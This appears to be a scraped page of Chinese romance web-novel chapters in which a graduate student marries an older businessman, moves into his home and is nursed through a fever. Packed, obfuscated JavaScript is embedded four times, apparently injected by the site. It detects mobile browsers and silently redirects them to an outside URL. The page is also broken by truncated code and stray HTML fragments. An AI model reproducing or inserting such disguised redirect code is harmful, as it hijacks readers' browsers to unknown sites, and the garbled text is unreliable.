;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457264|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋到进入冬日,他看起来完全没有变化。 不过也才两个月,不是两年,怎么会有变化呢? 钟晏穿得很正式,他身上衬衫,马甲,西装,领带,领夹一应俱全,最外面套了一件大衣,甚至是头发也精心打理过。 他垂眼看过来,随后淡淡“嗯”了一声。 钟晏看了眼时间。 果然早到了。 钟晏问:“临时发消息给你,打扰你了吗?” 尽欢连连摇头:“不打扰!” “我今天有组会汇报,刚结束,托您的福,我进展还不错,所以明后两天可以暂时休息一下。”尽欢很开心,她在向钟晏报备她的成果,嘴角都是骄傲。 也不知道托他哪门子的福。 钟晏面色温和,他解释道:“我祖父想见你一面。” 尽欢愣了下。 他祖父要见她? 尽欢知道,他着急结婚就是因为他的祖父,那现在突然说要见她是为什么?是她要过他家长那一关吗? 如果她没过关的话会怎么样? 尽欢脸上笑容僵住,她张了张口,话停在喉咙里,还没问出来,钟晏已经在她前面开口。 “别紧张,只是见你一面。”他说,“我祖父这方面不干涉我。” 他只希望他结婚,至于其他的,他尊重钟晏的选择,他行事稳妥,从来用不着家里人操心。 老爷子这么多年也就操心他不结婚这一件事。 好歹逼到有苗头了,他得见一见。 而且马上是元旦。 尽欢听到这里,才松了一口气。 那这样的话,应该等同于见家长的意思,他之前说,等一个水到渠成的时候,这两个月她也在想,什么时候才算是水到渠成。 她上个月回家,和姑姑坦白了这件事,那天晚上,她们睡在一起聊了很多,自从读大学离开家之后,尽欢已经很久没有和姑姑这样亲密地聊过一整晚了。 她先是说,说她的想法,然后又问姑姑,她和姑父恋爱的时候是什么样的,有没有什么恋爱小技巧。 他们之间比起姑侄是更像闺蜜的关系,很小开始,尽欢就会对姑姑说很多心里话,姑姑完全尊重她自己一切决定,只不过恋爱的话,她也是不太明白,毕竟当年是她姑父追的她。 不过自己喜欢就去做,人生永远不要给自己设限,姑姑拍拍她手,告诉她只要她自己觉得对就可以。 如钟晏所说,这确实只是和老人家简单吃一顿饭,他祖父看起来比他和蔼亲切很多,人年纪大了,对年纪小的孩子都有一种发自骨子里的疼爱,尽欢光坐在那里就很招人喜欢。 她是个很招人疼爱的孩子。 钟晏祖父家老宅是很典型的苏氏园林风格,从餐厅出来是庭院,中间四方水池,石桌摆在水边,伴着流水从假山上滴落,尽欢坐在石桌边,好奇往四周打量。 即使是冬天,这里的几棵树还是郁郁葱葱,只是这树叶的绿色很沉,像被画笔重重染过一笔。 尽欢看着树叶出神时,后知后觉看到钟晏正站在门口看她,他不笑时面色一贯的冷淡,眼神是居高临下的审视,领带上的领夹反出银色的光,让他站在那里,看起来融入了冰冷的背景里。 对视过两秒,钟晏深邃的视线渐沉下,尽欢几乎要被他视线完全吸引过去,她仰起头,眼睛里盛了一汪水,看着天空似乎有雪飘落下来。 水到渠成,水到渠成。 这几个字浮现在脑海,尽欢看着他,飘雪已经落到她手边,她伸手握住,看他站在被风吹过的雪里,感受到呼吸在变紧。 于是她轻轻开口。 “钟先生,我们结婚吧。” 8. 第 8 章 和钟晏结婚这件事,方尽欢认为,是她做过不会错的一个决定。 元旦之后,民政局开门的第一天,他们就去领了证。 领证的过程非常简单,简单到尽欢还在紧张想会不会有什么步骤做不好或者弄错什么,小心翼翼把表填了,交上去,人还在发懵,两个红本本已经到了她手里。 这大概是现在最有效率的政府部门了吧。 尽欢翻开这个红色的小本子。 上面的照片也才新鲜出炉,尽欢刚刚都还没仔细看——这是她和钟先生的第一张合照。 相机照得人五官很柔和,尽欢站在钟晏身边,她笑得温温柔柔,而旁边的男人身形高大宽阔,拍下照片时眼睛弯起一点弧度,让他更添了一抹温和,后面红色的背景更是格外显眼。 尽欢眼睛都没眨一下。 拍得好……好好看呀。 照片里的钟先生眼睛下一抹圆润的阴影,让他看起来那么具有包容性,并且他们站在一起,并没有不搭。 尽欢光盯着照片,喉咙咽下一口水一样细微滚动。 她捏着本子,转回头看他。 钟晏同样也在看这本结婚证。 相比尽欢,他的心境要平和很多,她似乎很惊喜这张照片,而钟晏对此并无所谓,不过他还是点头,温声道:“拍得不错。” “……是吧。”尽欢笑起来,她又看了两眼,然后把这本证书小心地放进包里。 “嗯。”钟晏应了声,“你拍得很好看。” 在夸她呀…… 尽欢后知后觉,抿着嘴角偷偷笑了笑。 魔幻感是有的,这让尽欢感到头晕目眩,前两天在钟晏祖父家里,她提出结婚时,钟晏冷静地看了她很久,他大概是在思考,也有可能是在观察她的反应,总之尽欢很紧张,她怕被钟先生拒绝。 在她等了几分钟后,钟晏朝她点头。 大概是很慎重的一次点头。 关于他结婚的事,他和祖父商量过,祖父的意思是,让他先领证,把事情定下来,等年后他会把继承权也逐渐交与他,到时候一并准备婚礼。 这一点钟晏和尽欢做过认真且仔细的解释。 他家族情况复杂,如果要举办婚礼,需要一个繁琐的流程,等到他们相处到更熟悉程度的时候会更好。 会更适合。 他的婚姻确实要起到这个作用。 另外钟晏一开始就说过,他不会有任何协议或者契约,意思就是说,如果他们要离婚的话,那尽欢可以分走他一半的财产。 钟晏将这一切都坦然告知她,在他们两个之间,无疑尽欢是处于弱势的那一个,她更需要得到充足的安全感。 更别提她大概还是个心思敏感的女孩子。 钟先生考虑得全面又稳妥,字字句句在为她着想,他告诉她说,一切以她的意愿为主。 一切以她为主。 纵使尽欢并不觉得自己需要被特殊照顾,但钟先生说的那些话还是让她很开心。 她很喜欢听钟先生说以她为主这样的话。 坐在车上,尽欢又忍不住从包里拿出来看。 她除了开心其实还有点小自豪,因为结婚这件事,是她帮到了钟晏。 她很开心能帮到他。 今天没有司机,是钟晏自己开车,到路口红灯时停下,他眼角余光看到旁边人看了又看,大有一副领到奖状的喜悦,钟晏眼里闪过一抹笑意,她的这种开心……能传染到他。 红灯变绿,车继续往前开,沉浸在领证喜悦中的尽欢看着前面陌生的路,拐进巷子里又继续往前开,她说:“这好像不是我回学校的路。” 现在是下午三点,也不是饭点,应该不是去吃饭。 钟晏偏头看她一眼,对上她疑虑的目光,他开口问:“不跟我回家?” 回家? 回他的家吗? 尽欢心慌张地跳了下,自顾地反应过来::“哦……回家的。” 钟晏的住所在他公司附近,是他前两年购置的一套别墅,也才住进去不久,这里胜在地理位置不错,靠近市中心,去哪里都方便。 车开进地下车库,尽欢跟着钟晏上楼,她好奇地打量周围,钟晏突然回头,她目光又急忙忙收回,钟晏面不改色道:“这里以后也是你家……你随便看。” 钟晏边走边和她介绍。 房子一共三层楼,地下一层,上面两层,底下负一层是车库和影音室,还有一间储藏室,一层有客厅,厨房,餐厅,以及他健身的区域,二层基本上就是书房,卧室和衣帽间了。 家里有两个阿姨,不过她们只有白天过来,打扫卫生或者做饭什么的,钟晏不习惯家里有其他人居住,所以阿姨另外有住的地方。 这里以后尽欢也会常住,所以她可以先熟悉一下。 “家里任何地方都可以进,我没有什么忌讳。”怕女孩子担心这个,钟晏先向她说明,以后他的家里,她就是女主人,这里所有的一切,也全部供她支配。 尽欢在一楼慢慢逛了一圈,她注意到,到处都非常干净,干净得连人存在生活的痕迹都少有,足以看出钟晏有很良好的生活习惯,或许他还有一点洁癖。 钟晏带她上二楼。 左手边是他的书房,也是他办公的地方,书房看起来稍微有人味一点,桌子上摆着植物,文件和钢笔,另外架子上有不少的书,令尽欢一眼看过去咋舌。 这些书要积累起来应该也要很多年,而且摆放得好整齐。 “前两天我已经让阿姨把衣帽间收拾了一半出来。”钟晏推开衣帽间的门,说,“你可以慢慢把东西收拾过来,如果地方不够的话我再挪。” 他主要西装和大衣多,要参加一些正式场合,需要他准备这些衣服,另外柜子里领带领夹手表什么的……这些配饰也不少。 钟晏对着装有较为严格的要求,在正式场合必定上下穿戴一应齐全,考虑到女孩子的东西会更多,他其实空出了一半还多的位置,如果她还不够的话,那他会考虑把东西挪去其他房间。 家是用来住的地方,住的舒服最重要。 衣帽间里大概有放熏香,一股淡淡的木制香味,和钟晏身上的味道很相似,尽欢忍不住吸了吸鼻子,她边看边应道:“够了呀,完全都够了。” 别说她现在是住在宿舍,就是家里的房间也没这么大放衣服的地方,她买衣服不多,最近多了点,还是因为要买来和钟先生见面。 钟晏淡淡应了声:“那就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457265|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣帽间的旁边就是主卧。 房间让阿姨全部打扫了一遍,床上用品也换过新的,比起钟晏之前爱用的深色,这次挑的是一套丝绒绿,不是那么深沉却又显温柔的颜色。 这个颜色钟晏挑了很久,他的新妻子看起来不像是喜欢粉色那些嫩色的样子,那些在他的房间也并不合适,思来想去,才选了这个。 “这里是你的一些生活用品。”钟晏打开抽屉,“还有睡衣。” 尽欢惊讶问:“我的?” “嗯,你的。”钟晏说,“怕你今天临时过来没东西用,我提前都买了。” 尽欢不知道她还能说什么,怎么会有钟先生这样体面包容又面面俱到的人,他真的什么都为她考虑到了,完全没有任何她应该觉得不舒服的方面,这里有了属于她的东西,让她看起来不是太莽撞地闯入到别人的生活空间。 尽欢嘴唇微张,她心下升起一阵浅微的感动,这阵感动还没上来,她突然想起来问:“我也住这里?” 钟晏理所当然地看着她,眼睛弯了弯,道:“尽欢,我暂时还没有分居的打算。” 她的名字被他念出来格外好听,尽欢陷在这种好听里,紧接着反应过来他说的“分居”,她皱眉,心想说这样的话还是不吉利。 钟晏又询问了她有没有什么忌口。 有任何爱吃的,或者什么不吃的,记得告诉阿姨,家里阿姨厨艺很好,会做的菜系也很多,她随时提要求。 尽欢摇摇头:“我没有忌口,都可以吃。” 真是个看起来很好养活的孩子。 钟晏眼里多了几分赞许,他冷淡的面色变得稍许柔和起来,说:“我不希望因为结婚就限制你的自由,改变你的生活,这不是我的初衷,只有一点我希望你接受,你年纪比我小上许多,以后生活里,我会多照顾你。” 接受就是……不要拒绝他的照顾。 不然他不能心安。 “那当然啊。”尽欢很认同,她语气温柔道,“我会喜欢被您照顾的。” 喜欢喜欢真的很喜欢。 至于改变生活什么的,肯定多少会有一点点变化,尽欢想,至少她现在都是有丈夫的人了,肯定要和以前有不一样的。 这她会努力适应。 钟晏吩咐了阿姨去准备晚饭,尽欢则自己在慢慢转一转熟悉环境,她动作很轻,安静不说话时喜欢稍微低着头,几乎没有存在感,但她在认真观察房子里的陈设,东西摆放位置,以及每一样植物的形态。 尽欢脑子里已经在想,这里可以做什么,那里可以做点什么,等到她脑子里想到这里的沙发都这么大能躺两个人的时候,有些画面已经不可避免地浮现在她大脑里。 此时钟晏正在健身房里慢跑。 他有睡前慢跑二十分钟的习惯,一定程度的有氧运动也能更好地促进睡眠,消耗精力。 从跑步机上下来,钟晏倒水,他呼吸稍显急促,一杯水下肚很快缓和,门口女孩子探过头,眨眨眼,从她的眼睛里看出来有话要说。 钟晏眼神看过来,沉声询问:“怎么了?” 思来想去这件事应该很重要,尽欢深吸一口气,才轻声开口,小心翼翼。 “钟先生,您今天晚上需要有夫妻生活吗?” 9. 第 9 章 钟晏说了很多,但没提过这方面。 他只说过,他是真的需要一名妻子,真正意义上的妻子,而她现在是他的妻子了。 尽欢对这个身份的认知也需要多一点的反应力,来到这个房子后,她把它认知为家,看着眼前的钟先生,后知后觉地想,原来这个……是她的丈夫了。 妻子和丈夫的关系。 是夫妻。 他刚运动完,胸肌微微充血,露出一截手肘,手背青色血管凸起,他目光微沉,视线从她鼻尖扫过,很浅淡地落在她下巴,就这么静静注视着她的脸,听她这么问,他眼睛弯起一抹包容的笑意,没回答她的话,反而问:“今晚吗?” 尽欢脸颊微微红,主动提起这件事让她不大好意思,但除此之外,还有原因。 她看起来有点沮丧,说:“我来月经了。” 今天上午才来月经,因为领证的事有点冲昏她的头脑,她暂时地把这个忘了,刚刚上厕所才想起来。 她懊恼的神色很明显,明显到钟晏忍不住笑笑,温声道:“不一定非得是今晚。” 钟晏对这件事并不热衷,家族里的那些传言也因此而来,大概很少见一个像他这样已经三十多岁的人,却对男女之事不感兴趣,他不仅没有过任何交往的伴侣,更加没有所谓只有肉/体交流的床伴,每每出去应酬,少不了那样的场合,但他向来半点不沾。 话就是这样一次次里传出去的。 他确实不否认,自己对这方面冷淡。 人的身体确实需要一些精力出口,他一直以来有其他的方式,比如工作,比如运动,人不是只由细胞组成的肉/体,不应该只关注这方面。 如果他真有需求,那也是很偶尔的时候,这他会自己解决。 大概……好几个月才有那么一次吧。 频率不高。 不说什么来不来月经的事,钟晏也不会把这件事摆在第一位,她刚到这里,还没有熟悉好,他最起码要照顾她的心情。 所以他看起来并不在意这个。 钟晏转移话题,想了想说:“既然你在生理期,那我让阿姨再煲点汤。” 想起什么,他又问:“肚子痛吗?” 很多女孩子都有这个毛病,痛经什么的也不好受,她平常看起来就像一棵有点病弱的小树,需要人勤勤恳恳地给她施肥才能长出点充足的气血。 果然,她点了点头:“一点点。” 痛经是看情况的,冬天天气冷的话会更明显,小腹坠胀着疼,如果是夏天就还好,只会有一点点腰酸。 所以她说一点点,真的就是一点点。 听她这么说,再看她状态确实还可以,钟晏大概才放心下来。 他放下水杯,问她:“你要现在用浴室吗?” 尽欢摇摇头。 钟晏于是说:“那我先去洗个澡。” 即使是在这样寒冷的天气也保持每天洗澡的基本频率,不过是运动后出汗做简单的清洁,花不了多少时间,从浴室出来天已经黑了,他看到女孩子正趴在阳台栏杆上往外看。 她趴在那儿只看到单薄的后背,整个人看起来只有那么小一点,额边头发被温柔地揽到耳后,不知道在看什么,眼神盯着逐渐放空,一抹金色的灯光落在她头顶,那块看起来毛绒绒的,看起来很温暖的触感。 钟晏就这么盯着看了十几秒。 直到风吹过来,吹落她头发扫在下巴,他才反应过来,从沙发上拿了条毯子走出去。 “听说生理期的时候免疫力会差一点。”钟晏走到她身后,在她回过头来时,把毯子盖到她身上,“小心着凉。” “哦……谢谢。”尽欢回头冲他笑了下。 她双手拉住毯子两边,指了指前面,说她在看那棵树。 从小想事情的时候喜欢盯着树看,这个季节还郁郁葱葱的大树看起来很反常理,她不知道想到什么,不知不觉看得出了神。 尽欢视线收回来,还带有点余温的眼神就落在了钟晏身上,她每次一看到他,脸总是安安静静地变红,说来奇怪,她看起来害羞,眼神却一点都不躲,像是存心就想多看他几眼。 钟晏并不反感这样温柔可爱的眼神,他语气也被染得柔和,低头问道:“总看我干什么?” 尽欢仰起一点点下巴,看他眼皮褶皱下深邃的眼睛,她轻声反问:“不可以看吗?” 那倒不是。 钟晏说:“当然可以。” 尽欢却在这时候害羞地收回视线。 当然是喜欢看才看的,钟先生身体每一个地方都透着包容和成熟,五官立体,眼神深邃,真的是她好喜欢好喜欢的样子,现在靠他这么近,看着他的时候就忍不住在想,他的怀抱肯定很温暖。 他刚洗过澡,换了一身柔软的家居服,领口稍稍往下,甚至能看到他胸口这块的皮肤肌理,被蒸汽捂得有一点点热,就像尽欢现在不太安分的呼吸一样。 钟晏相比起她来可太淡定了。 她还是年纪太小,火候不够,站在他面前完全就是一个孩子,被他一看就轻易脸红。 唉,明明就差九岁,还不到十岁呢,怎么和他有那么大的差距。 钟晏对她此时想了什么一无所知,他也没问,只是喊她该去吃饭了。 吃饭的时候钟晏和她谈了一下她在学校的情况。 说到这个尽欢就不自觉腰板挺直,像在老师面前进行汇报一样认真,她说到自己这一阶段的研究已经结束,下学期会再开启新的阶段,她目前已经在收集资料。 听她在说,钟晏没有打断,等她说完他才开口:“我是说,明天你什么时间去学校,我让司机送你。” “明天我会早点结束工作,等你收拾好就来接你。” 原来钟先生是想问她这个呀。 尽欢不好意思地笑了下,才说:“我这几天不用去实验室了,什么时候去都可以。” 她为了去实验室方便才住的学校宿舍,本来是双人间,但是她的室友搬出去住了,所以宿舍一直只有她一个人住,现在她也搬出去,宿舍就要空了。 钟晏应了声“好”,让尽欢想去哪里可以随时喊司机送。 尽欢听话地点点头。 饭后尽欢才去洗澡。 浴室里钟先生也给她准备了新的洗浴用品,包括她用的沐浴露,洗发水,护发素这些都一应齐全,让她感觉到这完全就是在自己家。 尽欢洗澡会磨蹭一点,如果要洗头的话动作就更慢了,其实今天不是她原本安排要洗头的时间,洗头这件事从来是多一天不行少一天也不行,但想到今天第一天来这里,尽欢还是打乱了自己的计划。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457266|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她仔仔细细洗了个头。 等她洗完澡,把头发吹得七分干,再出来时,看到钟晏已经换了衣服——他套上了大衣。 没等尽欢问,他先抱歉道:“刚刚接到电话,要去处理点事。” 钟晏很少有这样突如其来的工作,他一向把自己的时间安排得很妥当,每天都有固定的工作时间,但刚刚秘书给他打电话,这件事他必须亲自过去一趟。 钟晏确实很愧疚,今天说起来也是个纪念日,他却在这时候要离开,留她自己在家,实在不应该。 尽欢愣了下,问:“那您什么时候回来?” 钟晏不确定。 他让尽欢自己先休息。 失望肯定是有的,不过尽欢知道他也是不得已,毕竟像他在这个身份上,需要处理面对的事情太多,不像她也就只有学校那点事。 尽欢没说什么,她姑父也经常有突如其来的工作,对这样的事完全能够理解,于是她点点头:“您注意安全。” 钟晏离开后,尽欢一个人在房间里坐了会儿,然后才返回去,慢吞吞地把头发全部吹干。 头发搭在后背,被风吹得暖烘烘的,她叹了口气,趴在沙发扶手边,望着衣架上钟晏挂的一件外套出神。 也说不上来难受,就是心里有一点闷,像是被封口夹在心脏血管上夹了一下,有短暂几秒不流通感,她呼吸也停了半秒。 尽欢平常睡眠还可以,但今天可能是换了环境,她意外的睡不着觉,床单被子都是新的,新到完全没有任何人的气息,她躺进去时,也只躺在一角,占一个很小的位置。 闭上眼睛很久,感觉到脑袋有点迷瞪,幻视阳台的风从发梢吹过来,确实很凉,只不过她发呆的时候没感受到凉。 尽欢在床上翻了个身,重新酝酿睡眠。 等她终于来了睡意,已经不知道过去多久。 只是这睡意也很浅。 钟晏去了公司一趟,手上项目临时出了点问题,因为合作方在欧洲那边,有时差,他只能这个点开视频会议联系沟通,匆匆处理完,尽早赶回来。 更深露重,衣服上染了凉意,钟晏进门后脱了外套,先在客厅待了会儿,等皮肤温度渐渐恢复,他才换了衣服,轻轻推开卧室门。 一眼看到床上拱起一点小小的弧度,明明床那么大,她只睡旁边一点点,脑袋甚至只有一半挨到枕头,露出黑色的毛绒绒的头顶,从被子的弧度来看,她身体是稍微蜷缩起来的。 钟晏走到床边,盯着她看了几秒。 床上的女孩子很安静地闭着眼睛,呼吸声很浅,躺在那里几乎没有存在感,钟晏面色平静,怕打扰她睡觉,他考虑今晚先去次卧休息。 正要离开,被子里的人很轻地哼了声,细看她眉心微皱,身侧一只手在抓着被子,似乎被噩梦缠住。 钟晏擅长洞察人心,对她这样年纪小的女孩子却也不能完全洞察,他眼神渐沉,这时候注意到她脸颊温度红得异于平常。 他往前半步,在床边坐下,伸手去探了下她额头。 有点烫。 生理期的女孩子,穿着单薄在外面吹了会儿风,结果到半夜就发烧了,自己睡着了一声不吭。 身体怎么弱得像一只小病猫。 钟晏眼皮垂下,看着她,轻轻叹了口气。 10. 第 10 章 卧室空调温度已经被调了两次。 钟晏从她腋下拿出体温计,看了一眼,三十八度八。 钟晏在十分钟前给他的医生打了个电话。 他身体还不错,很少有生病的情况,上一次发烧都是快十年前,当时焦头烂额地忙于工作,一天里极少有时间休息,于是病来如山倒,完完全全病了一场。 那之后几乎没有再生病,连感冒都少有。 体温已经三十八度八的话,医生建议先吃退烧药,差不多过半个小时,如果发汗了就再测一下体温,到时候看情况要不要再吃药。 钟晏虽然不常生病,家里基本的药都准备了有,家庭医生会定期过来清理临过期药物并换新,他找到退烧药,倒了杯温水,喂她吃下去。 “尽欢。”睡梦里她烧起来很难受,大概是做梦梦到自己掉入了火坑里差不多感受,钟晏低低喊了她一声,伸手来拍她后背。 “现在是不是又觉得冷了?”钟晏看到她额头发了一点细汗,很小的水珠粒子,想来吃了药之后温度开始下降,同时发汗会让皮肤温度变冷——他第三次调了温度,把温度调高。 她也不一定是在睡觉,发烧起来温度太高人也烧得迷迷糊糊,钟晏拿了浸湿后又拧干的毛巾在床边,她出汗就随时给她擦干。 过了半个小时,再量体温,三十八度三。 已经在往下降了。 人看起来没那么难受,原本紧紧拧起来的眉心也松缓下来,胸口起伏的弧度逐渐变缓,她看起来比之前放松了。 现在是凌晨三点,钟晏忙了一晚上,明天还有工作,他现在早该休息了,但拿了电脑过来,坐在床头。 房间安静得只剩下呼吸声。 钟晏靠在床头,放着电脑在处理工作,女孩子就乖巧地睡在他身边,靠近他时,能感受到一点她呼吸的温度,像一抹被捂热的栀子香,存在感很低,但依旧断断续续地提醒他,身边还有个人在。 钟晏目光停在电脑屏幕上,只是偶尔被她这边分去一点注意力。 又隔了半小时,钟晏再量体温。 三十七度七,发过一轮汗后,温度明显下来了。 被子里的人翻了个身,嘴里念叨着渴,水早就准备好在床头,钟晏伸手碰了下玻璃杯,温度还好,于是递到她嘴边。 被烧得浑身发软的女孩子浑身都没有力气,扶她起来靠在床头,另一只手帮她拿着杯子喂水喝,简直像刚从沙漠里逃出来,小口小口不停地往下咽,一杯水眼看着就见底了。 “还喝吗?”钟晏低声询问。 尽欢摇了摇头。 胃里一下子被水灌满,再喝的话就要胀得难受了,本来发烧已经有种胃里泛酸水的不适感,她懵懵懂懂地睁着眼看向钟晏,眼睛里盛了不少的迷茫。 “我怎么了?”她脑子反应很迟钝,迟钝到甚至在回想眼前的人是谁,为什么会在她身边照顾她,这么多年她生病的时候,只有姑姑才会这样照顾她。 “发烧了。”钟晏拿回杯子,边回答她的问题,边顺手拿过帕子给她擦了擦嘴角水渍,柔软的帕巾按在她嘴角,动作很轻,擦完后又把帕子放到一边。 钟晏身上的睡衣同样柔软,他身上有很好闻的香气,闻得本来就不清醒的尽欢头晕目眩,她下意识吸了吸鼻子,试图多闻一点这样的香味。 尽欢稍微坐起来一点,她意识混沌状态,伸手摸了摸脸颊,感觉到已经没那么烫,身上这块比较干爽,只有腋下似乎还有一点点的汗。 钟晏一双大手扶在她后背,手掌宽厚温暖,有着无法被忽视的力量感,他问她是想再睡会儿还是去换身干净的衣服。 尽欢视线缓慢地扫过,看到放在床头的有药,水杯,还有体温计,以及本来在她额头刚被拿下的温热的毛巾,现在不知道多晚了,他一直守着她都没睡。 尽欢伸手抓住他小臂。 女孩子的手心温软,因为发烧了并没有什么力气,她定定看着他,眼睛里流了一汪水,柔软得轻轻一掐就要掉出来,钟晏面色微沉,开口道:“刚刚烧到三十八度多,现在差不多快要退了……还有没有哪里不舒服?” 见她不说话,钟晏耐心询问:“还是想吃点什么?” 尽欢往前挪了挪,靠他近了点,发尾轻轻扫落,眨了下眼睛,眼泪像小溪流淌一样掉了下来。 钟晏怔了下。 眼泪来得猝不及防,他眉心微皱,看她眼眶红起来,就盯着他不动。 生病的时候情绪更脆弱,这是完全能理解的事,既然想流眼泪了,那就先痛痛快快流个够。 钟晏手掌抬起,顿了下,才轻轻落在她后背,刚碰到她,她就啜泣着抓住他手,下巴抵到他肩膀,小心地,认真地开口。 “钟先生,我可以喊您daddy吗?” 钟晏目光一顿。 她呼气声很近,很柔和,近到他衣服都被她的呼吸打湿,他不确定问:“什么?” 她看着他理所当然说:“daddy啊。” 尽欢本来也不知道自己在说什么。 脑袋迷糊就把心里话都说了出来,还剩一点意识又在想自己都在说什么乱七八糟的,她羞愧地低下头,任眼泪继续“啪啪”掉落。 “对不起。”她道歉,很小声地解释说,“只有我没有……” 是解释给自己听,哪怕钟晏离她这么近,也只能听见几个字,几个词。 她大概是想起了什么伤心事。 钟晏之前了解过,她之所以和姑姑一起生活,是因为她的父母早早离婚并且组建了新的家庭,所以她基本算只有姑姑这一个亲人。 尽欢垂着脑袋,头顶都写着愧疚,她不想让自己在钟先生看来像个异类,不然会让他对她的好感度直线下降的……本来这个东西她就很难有。 想到这里的尽欢变得很乖很听话,她送开抓着钟晏小臂的手,慢吞吞又躺下去——脑袋沉,还是很沉,眼皮重得抬不起来。 她很快又睡着了。 不知道心里在想什么,睡着了总被梦魇裹挟,她一紧张就下意识让自己蜷缩起来,手攥成拳头在身前,脑袋靠近他腿边。 闻到他的味道,她脑袋往他大腿靠过去,感受到他身体的温度时才停下来,嘴里在呢喃着:“……daddy……daddy……” 这样一声声喊,语气可怜得像全世界都抛弃了她。 这种轻易能惹人怜的样子钟晏也会有所动容。 钟晏深叹口气,他往后靠,手臂自然落在她身侧,手指碰到几根她可怜垂在枕头上的发丝,柔软缠络在他指尖,这个动作……行成了一个让人有安全感的半包围。 他半垂眼,没什么情绪地低低应了声:“嗯,在这里。” . 早上七点尽欢醒了。 她从床上坐起,大脑缓慢开机。 想起来昨天晚上她好像发烧了,于是摸摸自己额头,现在温度已经完全正常,她小小舒口气。 很不好意思,住到这里来的第一天就发烧了,还劳烦钟晏照顾她,显得她这个人好麻烦。 唉,她不是这么麻烦的人啊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457267|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尽欢缓缓转头,看到床头放着一杯水,看起来还余有温度,应该才倒过来不久。 她确实已经口干舌燥,发烧这个东西大概会烧干人的水分,让原本需要水的身体细胞变得干瘪,她拿起这杯水一饮而尽。 喝得见了底。 刚把杯子放下,房间门被推开,钟晏出现在门口。 他穿了一身深色家居服,看起来非常柔软的布料,见尽欢醒了,他走过来,视线缓缓审视过她。 尽欢心一下子揪紧。 他太过压迫感的视线让尽欢马上就开始反思,她昨晚肯定烦到他了,即使钟先生为人宽容,但任何人的忍耐都是有限度的。 “对不起。”尽欢不敢和他对视,低下了头。 钟晏目光冷静,他沉声反问:“生病为什么要道歉?” 尽欢很诚实:“因为给您添麻烦了。” 钟晏淡声回:“没添麻烦。” 尽欢想起他昨天晚上还在忙工作,到很晚才回来,忙成这样了回来之后还要照顾一个生病的她,昨天晚上那会儿她迷迷糊糊好像醒了会儿,当时记得他一边照顾她一边还在工作。 钟先生人很好是真的,但她添麻烦也是真的。 “既然结婚了,那以后这样的事还会有很多。”钟晏起身去后面衣柜拿了一身新的睡衣出来,放在床尾,坦然道,“我以后要是生病,也需要你的照顾。” 既然结婚,那夫妻之间就不能这么计较,什么添麻烦不添麻烦的,本来就不应该这么说。 夫妻之间都是相互的。 “早饭已经好了,是先吃还是想先洗澡?”钟晏站在床边问她。 尽欢早上刚起没什么胃口,也可能是因为发烧烧得胃难受,她拿过新睡衣,说她要先去洗澡。 退汗之后,到现在汗虽然已经干了,但还是有点黏糊,她肯定要先去洗澡。 钟晏“嗯”了声,给她拿拖鞋到床边,想起她昨天在外面吹风,他于是多说了两句嘱咐她:“不要洗太久,不要再着凉。” 尽欢把脚放进拖鞋,听着他说话,点点头,又点点头。 他说一句她就乖乖答应一句。 尽欢动作很快,她知道自己现在身体正虚弱,不敢洗太久,很快洗完擦干,把衣服穿好,脖颈上的一点水都仔仔细细地全部擦干。 再出来时钟晏在门口等她。 他在等她一起吃早饭。 早上特地给她熬的粥,红豆南瓜圆子粥,阿姨还在里面放了一点阿胶,圆子点缀在红豆沙里,白白胖胖的一个,光看起来就有食欲。 昨天晚上因为哭过,现在眼睛红得厉害,眼眶肿得微微酸胀,尽欢低头吃东西,小口小口地从喉咙里咽下去。 钟晏也只吃了一点,他看对面的人动作停下,咽得缓慢,他轻声开口:“因为我昨天晚上离开让你害怕了?” 尽欢抬头:“啊?” 钟晏看着她,沉下声音道:“昨天晚上你哭得很厉害。” 人总是因为有情绪在才会体现出来,钟晏想她会哭的原因,或许是刚来到这里本就陌生,他又在第一天离开,留她一个人,房子确实大了,他待久了不觉得,她一个小女孩,大概会害怕。 尽欢不太记得什么哭不哭,她摇摇头否认:“不是因为您。” 